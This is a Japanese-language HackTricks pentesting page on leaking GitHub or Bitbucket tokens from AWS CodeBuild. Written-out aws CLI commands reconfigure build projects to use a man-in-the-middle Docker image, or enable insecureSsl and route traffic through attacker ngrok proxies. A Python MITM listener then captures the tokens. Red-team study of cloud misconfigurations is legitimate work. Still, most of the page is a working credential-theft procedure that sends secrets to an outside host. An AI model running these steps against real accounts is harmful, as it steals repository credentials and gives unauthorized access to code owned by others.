AWS Codebuild - Token Leakage

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Github/Bitbucketに設定されたトークンの回収

まず、漏洩できるソース認証情報が設定されているか確認してください:

bash
aws codebuild list-source-credentials

Via Docker Image

アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに特定のdockerイメージを使用させてプロジェクトのビルドを実行させることで、そのアクセスGHトークンまたはOAuthトークン)を抽出することができます。

この目的のために、新しいCodebuildプロジェクトを作成するか、既存のプロジェクトの環境を変更してDockerイメージを設定することができます。

使用できるDockerイメージはhttps://github.com/carlospolop/docker-mitmです。これは非常に基本的なDockerイメージで、env変数https_proxyhttp_proxy、および**SSL_CERT_FILEを設定します。これにより、https_proxyおよびhttp_proxyで指定されたホストのほとんどのトラフィックを傍受し、SSL_CERT_FILE**で指定されたSSL CERTを信頼することができます。

  1. 自分のDocker MitMイメージを作成してアップロード
  • リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定してdockerイメージをビルドします。
  • メタデータエンドポイントへのリクエストを傍受しないように**http_proxyを設定しないでください**。
  • **ngrok**を使用してプロキシをホストに設定することができます(例:ngrok tcp 4444)。
  • Dockerイメージがビルドされたら、パブリックリポジトリにアップロードします(Dockerhub、ECR...)。
  1. 環境を設定
  • 新しいCodebuildプロジェクトを作成するか、既存のプロジェクトの環境を変更します。
  • プロジェクトを以前に生成したDockerイメージを使用するように設定します。
  1. ホストにMitMプロキシを設定
  • Githubリポジトリに示されているように、次のようなものを使用できます:
bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"

tip

使用されたmitmproxyのバージョンは9.0.1であり、バージョン10ではこれが機能しない可能性があると報告されています。

  1. ビルドを実行し、資格情報をキャプチャする
  • Authorizationヘッダーにトークンが表示されます:

これは、aws cliを使用して次のように行うこともできます。

bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild プロジェクトには、ウェブ上では隠されている insecureSsl という設定があり、APIからのみ変更できます。
これを有効にすると、Codebuildはプラットフォームが提供する証明書を 確認せずに リポジトリに接続できるようになります。

  • まず、次のようなもので現在の設定を列挙する必要があります:
bash
aws codebuild batch-get-projects --name <proj-name>
  • その後、収集した情報を使用してプロジェクト設定の insecureSslTrue に更新できます。以下は私がプロジェクトを更新した例で、最後に insecureSsl=True があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。
  • さらに、tcp ngrokを指す環境変数 http_proxyhttps_proxy も追加してください。
bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 最後に、Build the projectをクリックすると、credentialsクリアテキスト(base64)でmitmポートに送信されます:

HTTPプロトコル経由

[!TIP] > この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(おそらく金曜日)。したがって、攻撃者はもはやこれを悪用できません :)

CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます。または、OAuth経由で権限が設定されている場合、コードにアクセスするために使用される一時的なOAuthトークンです。

  • 攻撃者は、CodeBuildプロジェクトにhttp_proxyhttps_proxyの環境変数を追加し、自分のマシンを指すことができます(例えばhttp://5.tcp.eu.ngrok.io:14972)。
  • 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば: http://github.com/carlospolop-forks/TestActions
  • その後、プロキシ変数(http_proxyとhttps_proxy)によって指示されたポートでhttps://github.com/synchronizing/mitmから基本的な例を実行します。
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 次に、プロジェクトをビルドをクリックするか、コマンドラインからビルドを開始します:
sh
aws codebuild start-build --project-name <proj-name>
  • 最後に、資格情報平文(base64)でmitmポートに送信されます:

warning

これで攻撃者は自分のマシンからトークンを使用し、持っているすべての権限をリストし、CodeBuildサービスを直接使用するよりも簡単に(悪用)できるようになります。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする